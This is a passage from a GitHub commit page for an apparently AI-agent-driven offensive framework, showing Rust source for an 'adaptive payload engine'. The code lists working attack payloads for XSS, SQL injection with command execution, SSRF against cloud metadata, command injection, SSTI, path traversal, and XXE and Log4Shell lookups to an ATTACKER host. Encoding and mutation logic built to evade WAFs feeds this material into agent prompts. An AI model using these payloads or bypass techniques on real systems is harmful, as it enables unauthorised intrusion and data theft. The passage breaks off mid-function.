mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-11-25 21:54:26 +01:00
feat(harness,web): Artex-inspired adaptive autonomy engine
Five new modules for adaptive, self-directed exploitation: - adaptive.rs: payload mutation engine — tech-stack-aware generation, WAF bypass evolution, response-driven mutation, per-engagement journal - request_analyzer.rs: HTTP response intelligence — reflection detection with context-aware XSS suggestions, error fingerprinting, differential analysis (baseline vs attack), parameter discovery, auth context - exploration_graph.rs: dual-graph architecture — global asset graph + per-engagement exploration graph with causality edges and bidirectional anchors driving a live coverage map - planner.rs: reactive event-driven planner — coverage-driven, fact-driven, chain-driven, hint-driven intent generation with persistent todolist and dependency sequencing - noise_governor.rs: adaptive rate control — per-host throttling, 429/503 exponential backoff, request caching/dedup, stealth mode Integration: - pipeline.rs injects adaptive context into agent prompts - RECON_SYS enhanced with dnsgen, favicon hash, waymore techniques - Web UI: new Adaptive tab with live dashboard for all subsystems - Server: parses adaptive_json/graph_json/planner_json/noise_json events
This commit is contained in:
1 parent
da136453d3
commit
7fd79e4ebc
11 files changed
+4650
-190
No files matched your search
@@ -0,0 +1,842 @@
|
||||
//! Adaptive Payload Engine — context-aware payload generation and mutation.
|
||||
//!
|
||||
//! Static payloads fail against modern targets: WAFs learn signatures, frameworks
|
||||
//! sanitize known patterns, and every target has a unique parser stack. This
|
||||
//! engine generates payloads that adapt to:
|
||||
//!
|
||||
//! 1. **Target stack** — technology, framework, version detected during recon
|
||||
//! 2. **WAF behavior** — what got blocked, what encoding bypassed it
|
||||
//! 3. **Response patterns** — how the target reacts to different inputs
|
||||
//! 4. **Failed attempts** — payloads that didn't work inform the next mutation
|
||||
//!
|
||||
//! The engine maintains a per-engagement payload journal that records what was
|
||||
//! tried, what worked, and what was blocked — so every subsequent agent benefits
|
||||
//! from earlier agents' discoveries.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashMap;
|
||||
|
||||
/// A payload with its generation context and outcome.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct PayloadRecord {
|
||||
pub payload: String,
|
||||
pub class: String,
|
||||
pub target_param: String,
|
||||
pub encoding: Encoding,
|
||||
pub outcome: Outcome,
|
||||
pub waf_response: Option<WafResponse>,
|
||||
pub response_code: u16,
|
||||
pub response_len: usize,
|
||||
pub timestamp: u64,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "kebab-case")]
|
||||
pub enum Outcome {
|
||||
/// Payload reached the application and triggered the vulnerability.
|
||||
Triggered,
|
||||
/// Payload reached the application but did not trigger.
|
||||
Reached,
|
||||
/// WAF blocked before the application saw it.
|
||||
WafBlocked,
|
||||
/// Target returned an error unrelated to the payload.
|
||||
Error,
|
||||
/// Not yet tested.
|
||||
Pending,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "kebab-case")]
|
||||
pub enum Encoding {
|
||||
None,
|
||||
UrlEncode,
|
||||
DoubleUrlEncode,
|
||||
HtmlEntity,
|
||||
UnicodeNormalize,
|
||||
Base64,
|
||||
HexEncode,
|
||||
Utf7,
|
||||
ChunkedTransfer,
|
||||
NullByte,
|
||||
CommentInjection,
|
||||
CaseToggle,
|
||||
Concatenation,
|
||||
}
|
||||
|
||||
impl Encoding {
|
||||
pub fn all() -> &'static [Encoding] {
|
||||
&[
|
||||
Encoding::None, Encoding::UrlEncode, Encoding::DoubleUrlEncode,
|
||||
Encoding::HtmlEntity, Encoding::UnicodeNormalize, Encoding::Base64,
|
||||
Encoding::HexEncode, Encoding::NullByte, Encoding::CommentInjection,
|
||||
Encoding::CaseToggle, Encoding::Concatenation,
|
||||
]
|
||||
}
|
||||
|
||||
pub fn apply(&self, input: &str) -> String {
|
||||
match self {
|
||||
Encoding::None => input.to_string(),
|
||||
Encoding::UrlEncode => url_encode(input),
|
||||
Encoding::DoubleUrlEncode => url_encode(&url_encode(input)),
|
||||
Encoding::HtmlEntity => html_entity_encode(input),
|
||||
Encoding::UnicodeNormalize => unicode_normalize(input),
|
||||
Encoding::Base64 => {
|
||||
use base64::Engine;
|
||||
base64::engine::general_purpose::STANDARD.encode(input)
|
||||
}
|
||||
Encoding::HexEncode => hex_encode(input),
|
||||
Encoding::NullByte => format!("{input}\x00"),
|
||||
Encoding::CommentInjection => inject_comments(input),
|
||||
Encoding::CaseToggle => toggle_case(input),
|
||||
Encoding::Concatenation => concatenate_split(input),
|
||||
_ => input.to_string(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct WafResponse {
|
||||
pub vendor: String,
|
||||
pub status: u16,
|
||||
pub blocked_pattern: String,
|
||||
}
|
||||
|
||||
/// Technology-aware payload templates per vulnerability class.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct PayloadTemplate {
|
||||
pub class: String,
|
||||
pub base_payloads: Vec<String>,
|
||||
pub stack_variants: HashMap<String, Vec<String>>,
|
||||
}
|
||||
|
||||
/// The adaptive engine: accumulates knowledge per engagement and generates
|
||||
/// context-aware payloads.
|
||||
#[derive(Debug, Clone, Default, Serialize, Deserialize)]
|
||||
pub struct AdaptiveEngine {
|
||||
pub journal: Vec<PayloadRecord>,
|
||||
pub stack: TargetStack,
|
||||
pub waf_profile: WafProfile,
|
||||
pub param_profiles: HashMap<String, ParamProfile>,
|
||||
}
|
||||
|
||||
/// What we know about the target's technology.
|
||||
#[derive(Debug, Clone, Default, Serialize, Deserialize)]
|
||||
pub struct TargetStack {
|
||||
pub server: String,
|
||||
pub framework: String,
|
||||
pub language: String,
|
||||
pub database: String,
|
||||
pub waf: String,
|
||||
pub cdn: String,
|
||||
pub versions: HashMap<String, String>,
|
||||
pub custom_headers: Vec<String>,
|
||||
}
|
||||
|
||||
/// Behavioral profile of a WAF built from observed responses.
|
||||
#[derive(Debug, Clone, Default, Serialize, Deserialize)]
|
||||
pub struct WafProfile {
|
||||
pub vendor: String,
|
||||
pub blocked_keywords: Vec<String>,
|
||||
pub allowed_encodings: Vec<Encoding>,
|
||||
pub block_status: u16,
|
||||
pub block_body_pattern: String,
|
||||
pub rate_limit_threshold: Option<u32>,
|
||||
pub challenge_type: Option<String>,
|
||||
}
|
||||
|
||||
/// What we know about a specific parameter from probing it.
|
||||
#[derive(Debug, Clone, Default, Serialize, Deserialize)]
|
||||
pub struct ParamProfile {
|
||||
pub name: String,
|
||||
pub location: ParamLocation,
|
||||
pub reflected: bool,
|
||||
pub filtered_chars: Vec<char>,
|
||||
pub max_length: Option<usize>,
|
||||
pub content_type: String,
|
||||
pub escape_context: EscapeContext,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "kebab-case")]
|
||||
pub enum ParamLocation {
|
||||
#[default]
|
||||
Query,
|
||||
Body,
|
||||
Header,
|
||||
Cookie,
|
||||
Path,
|
||||
Json,
|
||||
Xml,
|
||||
Multipart,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "kebab-case")]
|
||||
pub enum EscapeContext {
|
||||
#[default]
|
||||
Unknown,
|
||||
HtmlBody,
|
||||
HtmlAttribute,
|
||||
HtmlAttributeUnquoted,
|
||||
JavaScript,
|
||||
JsonValue,
|
||||
SqlString,
|
||||
SqlNumeric,
|
||||
UrlPath,
|
||||
CssValue,
|
||||
XmlCdata,
|
||||
}
|
||||
|
||||
impl AdaptiveEngine {
|
||||
pub fn new() -> Self {
|
||||
Self::default()
|
||||
}
|
||||
|
||||
/// Record a payload attempt and its outcome.
|
||||
pub fn record(&mut self, record: PayloadRecord) {
|
||||
if record.outcome == Outcome::WafBlocked {
|
||||
if let Some(ref waf) = record.waf_response {
|
||||
if !self.waf_profile.blocked_keywords.iter().any(|k| record.payload.contains(k)) {
|
||||
self.waf_profile.blocked_keywords.push(extract_trigger(&record.payload));
|
||||
}
|
||||
self.waf_profile.vendor = waf.vendor.clone();
|
||||
self.waf_profile.block_status = waf.status;
|
||||
}
|
||||
}
|
||||
if record.outcome == Outcome::Triggered {
|
||||
let enc = record.encoding;
|
||||
if !self.waf_profile.allowed_encodings.contains(&enc) {
|
||||
self.waf_profile.allowed_encodings.push(enc);
|
||||
}
|
||||
}
|
||||
self.journal.push(record);
|
||||
}
|
||||
|
||||
/// Update the target stack from recon data.
|
||||
pub fn ingest_recon(&mut self, recon: &serde_json::Value) {
|
||||
if let Some(s) = recon.get("tech").and_then(|v| v.as_str()) {
|
||||
self.stack.server = s.to_string();
|
||||
}
|
||||
if let Some(v) = recon.get("versions").and_then(|v| v.as_object()) {
|
||||
for (k, val) in v {
|
||||
if let Some(s) = val.as_str() {
|
||||
self.stack.versions.insert(k.clone(), s.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
if let Some(fw) = recon.get("framework").and_then(|v| v.as_str()) {
|
||||
self.stack.framework = fw.to_string();
|
||||
}
|
||||
if let Some(lang) = recon.get("language").and_then(|v| v.as_str()) {
|
||||
self.stack.language = lang.to_string();
|
||||
}
|
||||
if let Some(db) = recon.get("database").and_then(|v| v.as_str()) {
|
||||
self.stack.database = db.to_string();
|
||||
}
|
||||
}
|
||||
|
||||
/// Update a parameter's profile from probing results.
|
||||
pub fn profile_param(&mut self, name: &str, profile: ParamProfile) {
|
||||
self.param_profiles.insert(name.to_string(), profile);
|
||||
}
|
||||
|
||||
/// Generate adapted payloads for a vulnerability class and parameter.
|
||||
pub fn generate(&self, class: &str, param: Option<&str>) -> Vec<AdaptivePayload> {
|
||||
let base = base_payloads(class);
|
||||
let stack_variants = stack_specific_payloads(class, &self.stack);
|
||||
let mut results = Vec::new();
|
||||
|
||||
let profile = param.and_then(|p| self.param_profiles.get(p));
|
||||
let tried: std::collections::HashSet<String> = self.journal.iter()
|
||||
.filter(|r| r.class == class)
|
||||
.map(|r| r.payload.clone())
|
||||
.collect();
|
||||
|
||||
let successful_encodings = &self.waf_profile.allowed_encodings;
|
||||
let blocked_keywords = &self.waf_profile.blocked_keywords;
|
||||
|
||||
for payload in base.iter().chain(stack_variants.iter()) {
|
||||
if tried.contains(payload.as_str()) {
|
||||
continue;
|
||||
}
|
||||
|
||||
let needs_bypass = blocked_keywords.iter().any(|kw| payload.contains(kw));
|
||||
|
||||
if needs_bypass {
|
||||
for enc in bypass_encodings(blocked_keywords, successful_encodings) {
|
||||
let mutated = enc.apply(payload);
|
||||
if !tried.contains(&mutated) {
|
||||
results.push(AdaptivePayload {
|
||||
payload: mutated,
|
||||
encoding: enc,
|
||||
rationale: format!("WAF bypass: {enc:?} avoids blocked pattern"),
|
||||
priority: priority_score(class, &enc, profile, true),
|
||||
});
|
||||
}
|
||||
}
|
||||
} else {
|
||||
let adapted = adapt_to_context(payload, profile);
|
||||
results.push(AdaptivePayload {
|
||||
payload: adapted,
|
||||
encoding: Encoding::None,
|
||||
rationale: context_rationale(class, profile),
|
||||
priority: priority_score(class, &Encoding::None, profile, false),
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// Mutation-based payloads from successful attempts in the journal
|
||||
for rec in self.journal.iter().filter(|r| r.outcome == Outcome::Triggered && r.class == class) {
|
||||
for mutation in mutate_payload(&rec.payload, class) {
|
||||
if !tried.contains(&mutation) {
|
||||
results.push(AdaptivePayload {
|
||||
payload: mutation,
|
||||
encoding: rec.encoding,
|
||||
rationale: "Mutation of previously successful payload".into(),
|
||||
priority: 90,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
results.sort_by(|a, b| b.priority.cmp(&a.priority));
|
||||
results.truncate(50);
|
||||
results
|
||||
}
|
||||
|
||||
/// Generate the prompt block that injects adaptive context into agent prompts.
|
||||
pub fn prompt_block(&self) -> String {
|
||||
if self.journal.is_empty() && self.stack.server.is_empty() {
|
||||
return String::new();
|
||||
}
|
||||
|
||||
let mut s = String::from("\nADAPTIVE PAYLOAD INTELLIGENCE:\n");
|
||||
|
||||
if !self.stack.server.is_empty() || !self.stack.framework.is_empty() {
|
||||
s.push_str(&format!("Target stack: server={} framework={} lang={} db={}\n",
|
||||
self.stack.server, self.stack.framework, self.stack.language, self.stack.database));
|
||||
}
|
||||
|
||||
if !self.waf_profile.vendor.is_empty() {
|
||||
s.push_str(&format!("WAF detected: {} (blocks on status {})\n",
|
||||
self.waf_profile.vendor, self.waf_profile.block_status));
|
||||
if !self.waf_profile.blocked_keywords.is_empty() {
|
||||
let kws: Vec<&str> = self.waf_profile.blocked_keywords.iter()
|
||||
.take(20).map(|s| s.as_str()).collect();
|
||||
s.push_str(&format!("Blocked patterns: {}\n", kws.join(", ")));
|
||||
}
|
||||
if !self.waf_profile.allowed_encodings.is_empty() {
|
||||
let encs: Vec<String> = self.waf_profile.allowed_encodings.iter()
|
||||
.map(|e| format!("{e:?}")).collect();
|
||||
s.push_str(&format!("Successful bypass encodings: {}\n", encs.join(", ")));
|
||||
}
|
||||
}
|
||||
|
||||
let triggered: Vec<&PayloadRecord> = self.journal.iter()
|
||||
.filter(|r| r.outcome == Outcome::Triggered).collect();
|
||||
if !triggered.is_empty() {
|
||||
s.push_str(&format!("Successful payloads so far: {} (use these as basis for mutations)\n", triggered.len()));
|
||||
for rec in triggered.iter().take(10) {
|
||||
s.push_str(&format!(" [{class}] {payload} ({enc:?})\n",
|
||||
class = rec.class,
|
||||
payload = &rec.payload[..rec.payload.len().min(120)],
|
||||
enc = rec.encoding));
|
||||
}
|
||||
}
|
||||
|
||||
let blocked_count = self.journal.iter().filter(|r| r.outcome == Outcome::WafBlocked).count();
|
||||
if blocked_count > 0 {
|
||||
s.push_str(&format!("WAF blocks observed: {} — adapt payloads using bypass encodings above\n", blocked_count));
|
||||
}
|
||||
|
||||
for (name, prof) in &self.param_profiles {
|
||||
if prof.reflected || !prof.filtered_chars.is_empty() {
|
||||
s.push_str(&format!("Param '{name}': reflected={} filtered={:?} context={:?}\n",
|
||||
prof.reflected, prof.filtered_chars, prof.escape_context));
|
||||
}
|
||||
}
|
||||
|
||||
s.push('\n');
|
||||
s
|
||||
}
|
||||
|
||||
/// Serialize to JSON for persistence between phases.
|
||||
pub fn save(&self, path: &std::path::Path) -> std::io::Result<()> {
|
||||
let json = serde_json::to_string_pretty(self)
|
||||
.map_err(|e| std::io::Error::new(std::io::ErrorKind::Other, e))?;
|
||||
std::fs::write(path, json)
|
||||
}
|
||||
|
||||
/// Load from a previous phase's persisted state.
|
||||
pub fn load(path: &std::path::Path) -> std::io::Result<Self> {
|
||||
let json = std::fs::read_to_string(path)?;
|
||||
serde_json::from_str(&json)
|
||||
.map_err(|e| std::io::Error::new(std::io::ErrorKind::Other, e))
|
||||
}
|
||||
}
|
||||
|
||||
/// A generated payload with context about why it was chosen.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct AdaptivePayload {
|
||||
pub payload: String,
|
||||
pub encoding: Encoding,
|
||||
pub rationale: String,
|
||||
pub priority: u32,
|
||||
}
|
||||
|
||||
// ── Internal helpers ──
|
||||
|
||||
fn base_payloads(class: &str) -> Vec<String> {
|
||||
match class.to_uppercase().as_str() {
|
||||
s if s.contains("XSS") || s.contains("CWE-79") => vec![
|
||||
"<script>alert(1)</script>",
|
||||
"<img src=x onerror=alert(1)>",
|
||||
"<svg onload=alert(1)>",
|
||||
"javascript:alert(1)",
|
||||
"<details open ontoggle=alert(1)>",
|
||||
"\"><img src=x onerror=alert(1)>",
|
||||
"'-alert(1)-'",
|
||||
"<math><mtext><table><mglyph><svg><mtext><textarea><path d=\"1\" onmouseover=alert(1)>",
|
||||
"{{constructor.constructor('alert(1)')()}}",
|
||||
].into_iter().map(String::from).collect(),
|
||||
s if s.contains("SQL") || s.contains("CWE-89") => vec![
|
||||
"' OR '1'='1",
|
||||
"1' OR '1'='1'--",
|
||||
"1 UNION SELECT NULL,NULL--",
|
||||
"' AND SLEEP(5)--",
|
||||
"1; WAITFOR DELAY '0:0:5'--",
|
||||
"') OR ('1'='1",
|
||||
"' OR 1=1#",
|
||||
"admin'--",
|
||||
"1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
|
||||
"' UNION SELECT username,password FROM users--",
|
||||
].into_iter().map(String::from).collect(),
|
||||
s if s.contains("SSRF") || s.contains("CWE-918") => vec![
|
||||
"http://169.254.169.254/latest/meta-data/",
|
||||
"http://metadata.google.internal/computeMetadata/v1/",
|
||||
"http://169.254.169.254/metadata/v1/",
|
||||
"http://[::ffff:169.254.169.254]/latest/meta-data/",
|
||||
"http://0x7f000001/",
|
||||
"http://2130706433/",
|
||||
"http://017700000001/",
|
||||
"http://localhost:6379/",
|
||||
"gopher://127.0.0.1:6379/_INFO",
|
||||
"dict://127.0.0.1:6379/INFO",
|
||||
].into_iter().map(String::from).collect(),
|
||||
s if s.contains("CMD") || s.contains("COMMAND") || s.contains("CWE-78") => vec![
|
||||
"; id",
|
||||
"| id",
|
||||
"`id`",
|
||||
"$(id)",
|
||||
"; cat /etc/passwd",
|
||||
"| cat /etc/passwd",
|
||||
"& whoami",
|
||||
"\n id",
|
||||
"${IFS}id",
|
||||
";{id}",
|
||||
].into_iter().map(String::from).collect(),
|
||||
s if s.contains("SSTI") || s.contains("CWE-1336") => vec![
|
||||
"{{7*7}}",
|
||||
"${7*7}",
|
||||
"<%= 7*7 %>",
|
||||
"#{7*7}",
|
||||
"{{config}}",
|
||||
"{{self.__class__.__mro__}}",
|
||||
"${T(java.lang.Runtime).getRuntime().exec('id')}",
|
||||
"{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}",
|
||||
"{{''.__class__.__mro__[1].__subclasses__()}}",
|
||||
].into_iter().map(String::from).collect(),
|
||||
s if s.contains("TRAVERSAL") || s.contains("LFI") || s.contains("CWE-22") => vec![
|
||||
"../../etc/passwd",
|
||||
"....//....//etc/passwd",
|
||||
"..%252f..%252f..%252fetc/passwd",
|
||||
"/etc/passwd%00",
|
||||
"....\\\\....\\\\etc\\passwd",
|
||||
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
|
||||
"..%c0%af..%c0%af..%c0%afetc/passwd",
|
||||
"..;/..;/..;/etc/passwd",
|
||||
"..%ef%bc%8f..%ef%bc%8fetc/passwd",
|
||||
].into_iter().map(String::from).collect(),
|
||||
s if s.contains("XXE") || s.contains("CWE-611") => vec![
|
||||
r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>"#,
|
||||
r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><foo>&xxe;</foo>"#,
|
||||
r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://ATTACKER/evil.dtd">%xxe;]>"#,
|
||||
].into_iter().map(String::from).collect(),
|
||||
_ => vec![],
|
||||
}
|
||||
}
|
||||
|
||||
fn stack_specific_payloads(class: &str, stack: &TargetStack) -> Vec<String> {
|
||||
let mut payloads = Vec::new();
|
||||
let cls = class.to_uppercase();
|
||||
|
||||
// PHP-specific
|
||||
if stack.language.to_lowercase().contains("php") || stack.framework.to_lowercase().contains("laravel") {
|
||||
if cls.contains("SQL") {
|
||||
payloads.push("' OR 1=1 LIMIT 1-- -".into());
|
||||
}
|
||||
if cls.contains("SSTI") {
|
||||
payloads.push("{{app.request.server.get('DOCUMENT_ROOT')}}".into());
|
||||
}
|
||||
if cls.contains("TRAVERSAL") || cls.contains("LFI") || cls.contains("CWE-22") {
|
||||
payloads.push("php://filter/convert.base64-encode/resource=index.php".into());
|
||||
payloads.push("expect://id".into());
|
||||
}
|
||||
}
|
||||
|
||||
// Node.js / Express
|
||||
if stack.language.to_lowercase().contains("node") || stack.framework.to_lowercase().contains("express") {
|
||||
if cls.contains("SSTI") {
|
||||
payloads.push("#{root.process.mainModule.require('child_process').execSync('id')}".into());
|
||||
}
|
||||
if cls.contains("SQL") || cls.contains("NOSQL") {
|
||||
payloads.push(r#"{"$gt": ""}"#.into());
|
||||
payloads.push(r#"{"$ne": null}"#.into());
|
||||
payloads.push(r#"{"$regex": ".*"}"#.into());
|
||||
}
|
||||
if cls.contains("PROTOTYPE") || cls.contains("CWE-1321") {
|
||||
payloads.push(r#"{"__proto__": {"isAdmin": true}}"#.into());
|
||||
payloads.push(r#"{"constructor": {"prototype": {"isAdmin": true}}}"#.into());
|
||||
}
|
||||
}
|
||||
|
||||
// Java / Spring
|
||||
if stack.language.to_lowercase().contains("java") || stack.framework.to_lowercase().contains("spring") {
|
||||
if cls.contains("SSTI") || cls.contains("EL") {
|
||||
payloads.push("${T(java.lang.Runtime).getRuntime().exec('id')}".into());
|
||||
payloads.push("#{T(java.lang.Runtime).getRuntime().exec('id')}".into());
|
||||
}
|
||||
if cls.contains("DESERIAL") || cls.contains("CWE-502") {
|
||||
payloads.push("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==".into());
|
||||
}
|
||||
if cls.contains("LOG4") || cls.contains("JNDI") {
|
||||
payloads.push("${jndi:ldap://ATTACKER/a}".into());
|
||||
payloads.push("${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://ATTACKER/a}".into());
|
||||
}
|
||||
}
|
||||
|
||||
// Python / Django / Flask
|
||||
if stack.language.to_lowercase().contains("python") || stack.framework.to_lowercase().contains("django")
|
||||
|| stack.framework.to_lowercase().contains("flask") {
|
||||
if cls.contains("SSTI") {
|
||||
payloads.push("{{config.items()}}".into());
|
||||
payloads.push("{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}".into());
|
||||
}
|
||||
if cls.contains("DESERIAL") || cls.contains("PICKLE") {
|
||||
payloads.push("cos\nsystem\n(S'id'\ntR.".into());
|
||||
}
|
||||
}
|
||||
|
||||
// .NET / ASP.NET
|
||||
if stack.language.to_lowercase().contains(".net") || stack.framework.to_lowercase().contains("asp") {
|
||||
if cls.contains("DESERIAL") {
|
||||
payloads.push("ysoserial_viewstate_payload".into());
|
||||
}
|
||||
if cls.contains("TRAVERSAL") || cls.contains("LFI") || cls.contains("CWE-22") {
|
||||
payloads.push("..\\..\\..\\web.config".into());
|
||||
}
|
||||
}
|
||||
|
||||
// Database-specific SQL
|
||||
if cls.contains("SQL") {
|
||||
match stack.database.to_lowercase().as_str() {
|
||||
s if s.contains("mysql") || s.contains("maria") => {
|
||||
payloads.push("' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION()))--".into());
|
||||
payloads.push("' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--".into());
|
||||
}
|
||||
s if s.contains("postgres") => {
|
||||
payloads.push("' AND 1=CAST((SELECT version()) AS int)--".into());
|
||||
payloads.push("'; COPY (SELECT '') TO PROGRAM 'id'--".into());
|
||||
}
|
||||
s if s.contains("mssql") || s.contains("sqlserver") => {
|
||||
payloads.push("'; EXEC xp_cmdshell('whoami')--".into());
|
||||
payloads.push("' AND 1=CONVERT(int,@@version)--".into());
|
||||
}
|
||||
s if s.contains("oracle") => {
|
||||
payloads.push("' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT banner FROM v$version WHERE ROWNUM=1))--".into());
|
||||
}
|
||||
s if s.contains("sqlite") => {
|
||||
payloads.push("' UNION SELECT sqlite_version(),NULL--".into());
|
||||
payloads.push("' AND 1=CAST((SELECT sql FROM sqlite_master LIMIT 1) AS int)--".into());
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
payloads
|
||||
}
|
||||
|
||||
fn bypass_encodings(blocked: &[String], successful: &[Encoding]) -> Vec<Encoding> {
|
||||
let mut encodings = Vec::new();
|
||||
|
||||
// Prioritize encodings that already worked
|
||||
encodings.extend(successful.iter().copied());
|
||||
|
||||
// Then try common WAF bypass encodings
|
||||
for enc in &[
|
||||
Encoding::DoubleUrlEncode,
|
||||
Encoding::UnicodeNormalize,
|
||||
Encoding::HtmlEntity,
|
||||
Encoding::CaseToggle,
|
||||
Encoding::CommentInjection,
|
||||
Encoding::NullByte,
|
||||
Encoding::Concatenation,
|
||||
Encoding::HexEncode,
|
||||
] {
|
||||
if !encodings.contains(enc) {
|
||||
encodings.push(*enc);
|
||||
}
|
||||
}
|
||||
encodings
|
||||
}
|
||||
|
||||
fn mutate_payload(payload: &str, class: &str) -> Vec<String> {
|
||||
let mut mutations = Vec::new();
|
||||
let cls = class.to_uppercase();
|
||||
|
||||
// Encoding mutations
|
||||
mutations.push(url_encode(payload));
|
||||
mutations.push(html_entity_encode(payload));
|
||||
|
||||
// Case mutations
|
||||
mutations.push(toggle_case(payload));
|
||||
|
||||
// Whitespace mutations
|
||||
mutations.push(payload.replace(' ', "\t"));
|
||||
mutations.push(payload.replace(' ', "/**/"));
|
||||
|
||||
if cls.contains("XSS") {
|
||||
// Event handler variations
|
||||
if payload.contains("onerror") {
|
||||
mutations.push(payload.replace("onerror", "onload"));
|
||||
mutations.push(payload.replace("onerror", "onfocus"));
|
||||
mutations.push(payload.replace("onerror", "onmouseover"));
|
||||
}
|
||||
// Tag variations
|
||||
if payload.contains("<img") {
|
||||
mutations.push(payload.replace("<img", "<svg"));
|
||||
mutations.push(payload.replace("<img", "<body"));
|
||||
mutations.push(payload.replace("<img", "<input"));
|
||||
}
|
||||
}
|
||||
|
||||
if cls.contains("SQL") {
|
||||
// Comment style variations
|
||||
if payload.contains("--") {
|
||||
mutations.push(payload.replace("--", "#"));
|
||||
mutations.push(payload.replace("--", "/*"));
|
||||
}
|
||||
// Whitespace bypass
|
||||
mutations.push(payload.replace(' ', "%09"));
|
||||
mutations.push(payload.replace(' ', "%0a"));
|
||||
}
|
||||
|
||||
mutations
|
||||
}
|
||||
|
||||
fn adapt_to_context(payload: &str, profile: Option<&ParamProfile>) -> String {
|
||||
let Some(prof) = profile else { return payload.to_string() };
|
||||
|
||||
let mut adapted = payload.to_string();
|
||||
|
||||
// Filter out known-blocked characters
|
||||
for ch in &prof.filtered_chars {
|
||||
adapted = adapted.replace(*ch, &html_entity_encode(&ch.to_string()));
|
||||
}
|
||||
|
||||
// Adapt to escape context
|
||||
match prof.escape_context {
|
||||
EscapeContext::HtmlAttribute => {
|
||||
if !adapted.starts_with('"') && !adapted.starts_with('\'') {
|
||||
adapted = format!("\" {adapted}");
|
||||
}
|
||||
}
|
||||
EscapeContext::JavaScript => {
|
||||
if !adapted.starts_with('\'') && !adapted.starts_with(';') {
|
||||
adapted = format!("';{adapted}//");
|
||||
}
|
||||
}
|
||||
EscapeContext::JsonValue => {
|
||||
adapted = adapted.replace('\\', "\\\\").replace('"', "\\\"");
|
||||
}
|
||||
EscapeContext::SqlString => {
|
||||
if !adapted.starts_with('\'') {
|
||||
adapted = format!("'{adapted}");
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
|
||||
// Truncate to max length if known
|
||||
if let Some(max) = prof.max_length {
|
||||
if adapted.len() > max {
|
||||
adapted.truncate(max);
|
||||
}
|
||||
}
|
||||
|
||||
adapted
|
||||
}
|
||||
|
||||
fn priority_score(class: &str, encoding: &Encoding, profile: Option<&ParamProfile>, is_bypass: bool) -> u32 {
|
||||
let mut score: u32 = 50;
|
||||
|
||||
// Bypass attempts are higher priority when WAF is detected
|
||||
if is_bypass { score += 20; }
|
||||
|
||||
// No-encoding is preferred when no WAF blocks
|
||||
if *encoding == Encoding::None { score += 10; }
|
||||
|
||||
// Reflected params are higher priority for XSS
|
||||
if let Some(prof) = profile {
|
||||
if prof.reflected && class.to_uppercase().contains("XSS") {
|
||||
score += 30;
|
||||
}
|
||||
}
|
||||
|
||||
score.min(100)
|
||||
}
|
||||
|
||||
fn context_rationale(class: &str, profile: Option<&ParamProfile>) -> String {
|
||||
let prof = match profile {
|
||||
Some(p) => p,
|
||||
None => return format!("Standard {class} payload"),
|
||||
};
|
||||
|
||||
let mut parts = vec![format!("{class} payload")];
|
||||
if prof.reflected { parts.push("reflected param".into()); }
|
||||
if !prof.filtered_chars.is_empty() {
|
||||
parts.push(format!("avoids filtered chars {:?}", prof.filtered_chars));
|
||||
}
|
||||
if prof.escape_context != EscapeContext::Unknown {
|
||||
parts.push(format!("adapted for {:?} context", prof.escape_context));
|
||||
}
|
||||
parts.join(", ")
|
||||
}
|
||||
|
||||
fn extract_trigger(payload: &str) -> String {
|
||||
// Extract the likely trigger pattern from a blocked payload
|
||||
let triggers = ["<script", "onerror", "onload", "alert(", "UNION", "SELECT",
|
||||
"SLEEP(", "WAITFOR", "../", "etc/passwd", "<?xml", "<!DOCTYPE"];
|
||||
for t in triggers {
|
||||
if payload.to_lowercase().contains(&t.to_lowercase()) {
|
||||
return t.to_lowercase();
|
||||
}
|
||||
}
|
||||
payload.chars().take(20).collect()
|
||||
}
|
||||
|
||||
fn url_encode(s: &str) -> String {
|
||||
let mut out = String::new();
|
||||
for b in s.bytes() {
|
||||
if b.is_ascii_alphanumeric() || b == b'-' || b == b'_' || b == b'.' || b == b'~' {
|
||||
out.push(b as char);
|
||||
} else {
|
||||
out.push_str(&format!("%{b:02X}"));
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn html_entity_encode(s: &str) -> String {
|
||||
s.chars().map(|c| format!("&#{};", c as u32)).collect()
|
||||
}
|
||||
|
||||
fn unicode_normalize(s: &str) -> String {
|
||||
s.replace('<', "\u{FF1C}")
|
||||
.replace('>', "\u{FF1E}")
|
||||
.replace('\'', "\u{FF07}")
|
||||
